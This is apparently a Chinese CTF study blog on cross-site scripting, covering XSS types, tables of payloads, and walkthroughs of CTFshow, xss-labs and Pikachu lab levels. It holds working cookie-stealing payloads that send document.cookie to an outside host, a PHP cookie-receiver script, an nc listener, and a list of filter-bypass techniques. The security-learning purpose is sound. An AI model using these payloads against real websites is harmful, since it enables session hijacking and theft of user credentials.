0%

关于xss漏洞的学习

xss的认识和学习

[TOC]

xss平台:XSS平台-XSS测试网站-仅用于安全免费测试(有时候不太好用,推荐用服务器)

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

一般的,xss攻击会分为三种情况,危害程度从低到高分别是:反射型持久型DOM型

xss漏洞成因

页面会将输入的内容进行渲染并插入到网页的html中,这便导致了攻击者可以构造合适的js代码payload,使得用户再点击链接时自动把注入的内容当作js代码执行,导致用户相关敏感信息泄露。

分类

反射型

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

持久型

与反射型不同,持久型的攻击代码早在用户进入网站之前就已经存在。这是因为攻击者已经事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。而反射型的payload并没有进入数据库进行储存而是在请求参数中,这便是他们两个的区别。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处

DOM型

DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。

换句话说:HTML DOM 是如何获取、更改、添加或删除 HTML 元素的标准。

DOM HTML tree

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码(例如JavaScript)所影响。

寻找DOM XSS的本质是做js语言阅读理解题。 – Pikachu 漏洞练习平台

xss的利用

其目的一般都是为了攻击用户,拿到用户的Cookies等信息。

一、HTML标签与事件属性

1. 脚本执行标签

标签 触发方式 示例 特点
<script> 直接嵌入JS代码 <script>alert(1)</script> 最直接的攻击方式,易被过滤规则拦截
<img> 利用onerror事件 <img src="x" onerror=alert(1)> 常用于绕过<script>标签过滤
<svg> 通过onload事件 <svg onload=alert(1)> SVG的XML解析特性可绕过部分HTML过滤规则1****3
<iframe> 加载JS伪协议或onload <iframe src=javascript:alert(1)> 可结合跨域资源加载实现攻击链
<a> javascript:伪协议 <a href="javascript:alert(1)">Click</a> 依赖用户点击,常用于钓鱼攻击

2. 事件驱动标签

事件属性 触发条件 示例 应用场景
onload 资源加载完成时触发 <body onload=alert(1)> 常用于页面或框架初始化阶段
onerror 资源加载失败时触发 <img src=x onerror=alert(1)> 绕过图片源校验的常用手段
onmouseover 鼠标悬停时触发 <img src=1 onmouseover="prompt(1)"> 需要用户交互,隐蔽性较强
onfocus 元素获取焦点时触发 <input onfocus=alert(1) autofocus> 结合autofocus属性实现自动触发

二、JavaScript核心方法与属性

1. 敏感数据获取

方法/属性 功能 示例
document.cookie 获取当前页面的Cookie <script>location.href='http://ip/?c='+document.cookie</script>
window.location 控制页面跳转或获取URL location.href='http://attacker.com'
XMLHttpRequest 发送HTTP请求窃取数据 new XMLHttpRequest().open('POST','http://ip',true).send(data)

2. 代码执行方法

方法 功能 示例 绕过技巧
eval() 执行字符串形式的JS代码 eval('ale'+'rt(1)') 通过字符串拼接绕过关键字过滤
setTimeout() 延迟执行代码 setTimeout("alert(1)",0) 结合编码混淆使用
Function() 动态创建函数 new Function('alert(1)')() 可绕过部分沙箱环境

3. DOM操作方法

方法 功能 示例 攻击场景
document.write() 直接写入HTML内容 document.write("<img src=x onerror=alert(1)>") 常用于反射型XSS
innerHTML 动态修改元素内容 element.innerHTML = "<script>alert(1)</script>" 需结合用户输入未过滤的场景

三、基础payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1.window.open:

<script>window.open('http://ip/'+document.cookie)</script>
2.input

<input onfocus="window.open('http://ip/'+document.cookie)" autofocus>
3.svg

<svg onload="window.open('http://ip/'+document.cookie)">
3.iframe

<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>

4.body

<body onload="window.open('http://ip/'+document.cookie)"></body>

5.location.href

<script>location.href="http://ip/xss.php?cookie="+document.cookie</script>
6.img

<img src="javascript:alert(1)">

四、攻击方式

先用<script>alert('1')</script>之类的进行测试,找到测试点。

1.服务器端文件接收

在服务器上的/var/www/html下写一个用于接收cookie的脚本,然后给写的权限,再通过xss写入等待后台机器人点击即可得到cookies值。

2. 服务器端端口监听(请求外带)

通过nc监听特定端口:nc -lnvp 7777,然后利用xss向相关端口发送请求<script>window.open('http://ip/'+document.cookie)</script>然后既可以看到url处带出了cookie值:

屏幕截图 2025-04-04 131119

需要注意的是:每次nc只能监听到一次,所以可以多监听几次,所以我觉得还是第一种方法好(

插曲:本来设置的6666端口,但一直不成功,后来一查才知道,6666 刚好在 Chrome 浏览器的默认非安全端口列表里。。。神坑之 6666 端口 (默认非安全端口) - VictorBu - 博客园

五、防御

  1. 对输入的关键词进行过滤

  2. 输出转义:

    1
    2
    3
    4
    app.get('/welcome', function(req, res) {
    // 对查询参数进行编码,避免反射型XSS攻击
    res.send(`${encodeURIComponent(req.query.type)}`);
    });

    encodeURIComponent() 函数可把字符串作为 URI 组件进行编码,从而避免执行恶意代码。

打靶

CTFshow习题训练(部分)

316

  1. 先在自己服务器服务器的/var/www/html目录下新建xss.php,内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $content = $_GET["cookie"];
    if(isset($content)){
    //需要把我们获得的信息写入到我们的本地服务器
    file_put_contents('flag.txt',$content);
    }else{
    echo 'no date input';
    }

    屏幕截图 2025-04-04 003334

  2. 在留言框上里留言:

    1
    <script>location.href="http://ip/xss.php?cookie="+document.cookie</script>

    等待后台bot点击即可得到管理员cookies。

    image-20250404004000627

317

这题在316的基础上过滤了script标签,因此使用body标签,在里面加上onload,

1
<body onload="window.open('http://ip/xss.php/?cookie='+document.cookie)">

image-20250404005103964

320

过滤了空格,可以用%0A%0c%09/**//来代替之。

1
<body/**/onload="window.open('http://ip/xss.php/?cookie='+document.cookie)">

屏幕截图 2025-04-04 181012

328

这题是个注册界面。

思路

用可用payload注册用户,然后等待后台管理员查看时可以获得cookie,再去管理页面,改cookie,查看账密信息即可得到flag。(注意需要bp抓包然后一个一个放包,把每一个cookie都改了就可以看到了,因为他中间还会发一个包)

image-20250405112316526

可以看出下面数据的部分显示还得一遍验证,把这个包的cookie再改一遍。

xss-labs

我参考了SkyWT师傅的wp用来学习:

xss-labs 通关教程 - 博客

level1

无过滤,直接弹:

1
<script>alert(1)</script>

level2

依旧填上去

1
<script>alert(1);</script>

但发现没有弹窗,F12发现被转义了,例如 < 被转义成了 &lt;

image-20250407203542347

发现下面还有一个input标签,"><script>alert(1)</script>闭合之后弹窗成功。

level3 :htmlspecialchars() 的弱点

这里贴一下SkyWT师傅的总结:

本题要求 PHP 版本低于 8.1.0。在 8.1.0 版本中此漏洞已经修复。

HTML 标准规定了一个叫做实体(Entity)的概念。在 HTML 中,<h1> 会被解释为标题标签,那我们如何以文本形式显示出 <h1> 这四个字符呢?答案是使用字符实体,将 << 替代,将 >> 替代。在 HTML 中,如果我们写 <h1>,就会显示为 <h1> 而不会被解析。

在 PHP 中,后端需要渲染出一个 HTML 给前端,对传来的字符串就要进行这样的处理,将 < 这样的字符转换为 < 这样的实体。Level 1 就是没有进行这种处理的下场。

一个通常的做法就是:使用 PHP 自带的 htmlspecialchars() 函数处理字符串,进行字符转义。具体用法可以参考官方文档

在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义 <>&'" 这五个字符,基本可以防范这里的 XSS 攻击。 但是,8.1.0 以下版本的 PHP 默认只会转义 <>&" 这四个字符,不会转义单引号 '。这就给这个函数带来了巨大的安全隐患。

发现input标签中的输入值也被转义了,可以闭合单引号但不能闭合尖括号。

image-20250407205843698

这里可以使用一些方法标签来触发:例如:<input onfocus=alert(1)>

1
<input name=keyword  value='' onfocus=alert(1) ''>
1
<input name=keyword  value='' onmouseover=alert(1) ''>

level4

直接去掉了尖括号。

1
<input name=keyword  value="scriptalert(1)/script">

但发现没有过滤双引号,于是:

1
payload: " onmouseover=alert(1) "

level5 href js伪协议

1
<input name=keyword  value="" <scr_ipt>alert('1')</script> "">

破坏了原有的script标签,但双引号仍然未过滤。

尝试了上一题的payload,仍然被过滤:

1
<input name=keyword  value="" o_nmouseover=alert(1) "">

这里利用js伪协议进行绕过:

1
payload: "> <a href=javascript:alert(1)>111</a>

level6 大小写绕过

用了上一题的payload,发现把href标签也破坏了。

1
<input name=keyword  value=""> <a hr_ef=javascript:alert(1)>111</a>">

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现并未全转为小写来区分大小写,直接大小写绕过即可,html对大小写不敏感

level7 双写绕过

1
<input name=keyword  value="<>alert(1)</>">

直接替换script标签为空,尝试双写绕过。

1
<scscriptript>alert(1)</scscriptript>

leve8 href字符实体可用

1
</center><center><BR><a href="<scr_ipt>alert('1')</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>

发现直接把输入插入了href属性中,想到可以尝试javascript伪协议,但是仍然被过滤。。没思路了,于是看了眼师傅的wp:

这里要用到 href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。

这里将i进行实体化,从而使得绕过替换。

1
javascr&#105;pt:alert(1)

level9 伪造网站格式

1
2
3
4
5
6
7
8
9
10
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

分析源码发现只检测了其中只要含有该字段即可,于是:

1
javascr&#105;pt:alert(1) // http://

即可绕过。

level10 隐藏表单注入

1
2
3
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

源码中发现三个隐藏的标签,测试发现t_sort可以利用,

1
?keyword=test&t_sort=" onmouseover=javascript:alert(1) "

但是发现不显示,因为后面的type属性值为hidden而导致的,尝试在前面添加一个type为空从而覆盖掉后面的hidden。

1
?keyword=test&t_sort=" onmouseover=javascript:alert(1) type "

level11 Referer 注入

ctrl+U查看源码发现:
<input name="t_ref" value="http://xss-libs:6543/level10.php?keyword=test&t_sort=%22%20onmouseover=javascript:alert(1)%20type%20%22" type="hidden">

猜测是直接传的Referer的值,尝试修改请求头为上一题的payload。

level12 UA注入

和上一题一样,修改User-Agent请求头即可。

level13 Cookie注入

设置Cookie如下:

1
user=" onmouseover=javascript:alert(1) type "

level14 EXIF写xss

好像是网站废弃了做不了。

大概思路是原来网页会解析上传图片的EXIF信息并展示,本地修改之后上传即可触发xss。

level15 ng-include(类似文件包含)

刚进去就发现被自动传了参数?src=1.gif,查看源码发现被注入到了这里:

1
<body><span class="ng-include:1.gif"></span></body>

定义和用法

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

类似于文件包含的东西,在同文件夹内写入恶意代码文件,然后包含即可。

1
<a href=javascript:alert(1)>111</a>

?src="1.html"

level16 空格过滤

输入上题payload,发现:

1
<center><a&nbsp;href=java&nbsp;:alert(1)>111<&nbsp;a></center><center><img src=level16.png></center>

发现空格,script标签,/,均被替换,尝试用%0c代替,

1
`<svg%0conload=alert(1)>`

pikachu上的DOM型xss分析(待续)

预计要看看基础js了。

DOM 1

1
2
3
4
5
6
7
8
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>

str是我们输入的内容,意思是把输入的内容插入到<a href='"+str+"'>what do you see?</a>这里面,这里只需要闭合前面的a标签然后就可以了。

注释中给了两条payload,让我们带入看看:

  1. <a href='"'><img src="#" onmouseover="alert('xss')">"'>what do you see?</a>
    
    1
    2
    3
    4
    5

    第一条的思路是先闭合a标签,逃逸出来之后再注入img标签的恶意代码即可触发。

    2. ```html
    <a href='"' onclick="alert('xss')">"'>what do you see?</a>
    第二条的思路则是直接再a标签中加入onclick方法并触发然后闭合。

DOM 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
function domxss(){
var str = window.location.search; // 得到参数字符串
var txss = decodeURIComponent(str.split("text=")[1]); // 分割得到参数
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>

<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

点击底部a标签时,会触发domxss()方法,最终渲染出一个新的a标签。<a href='"+xss+"'>就让往事都随风,都随风吧</a>仍然是需要闭合标签。

xss盲打

直接写恶意代码,登录管理员后台查看即会被触发。

xss之过滤

<body onload="alert(1)"></body>绕过

xss之htmlspecialchars

原理同xss-labs的level3。' onmouseover=alert(1) '

xss之href输出

单双引号均被替换。

javascript:alert(1)发现在a标签的href属性中,伪协议绕过。

xss之js输出

发现自己的输入被嵌到js代码中并执行了整段代码,尝试闭合并逃逸执行恶意代码。

1
kobi';alert(1);//

注入效果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
$ms='kobi';alert(1);//';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}


</script>

成功执行。

绕过思路总结

  1. 标签名大小写绕过。
  2. js伪协议。<a href="javascript:alert(1)" >click me</a> //a标签伪协议执行
  3. 空格绕过,用%0c%09/**//来代替之。
  4. eval绕过,<svg/onload=eval('ale'+'rt(1)')>
  5. 双写绕过<scscriptript>alert(1)</scscriptript>
  6. 大小写绕过
  7. href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。这里将i进行实体化,从而使得绕过替换。javascr&#105;pt:alert(1)

更多姿势可参考绕过XSS过滤姿势总结 - zha0gongz1 - 博客园

参考文章:

XSS - CTF Wiki

XSS 攻击 - Hello CTF

跨站点脚本 (XSS) - PortSwigger

CTF-Show-XSS系列 - 夏目^_^ - 博客园

CTFSHOW-XSS - Boogiepop Doesn’t Laugh

Pikachu靶场之XSS漏洞详解_pikachu xss-CSDN博客

ctfshow XSS漏洞web316-328_ctfshow web316-CSDN博客

【CTF-Web】XSS漏洞学习笔记(附ctfshow web316-333题目)_ctf xss-CSDN博客

pikachu XSS Cross-Site Scripting(皮卡丘漏洞平台通关系列)_pikachu的xss过关-CSDN博客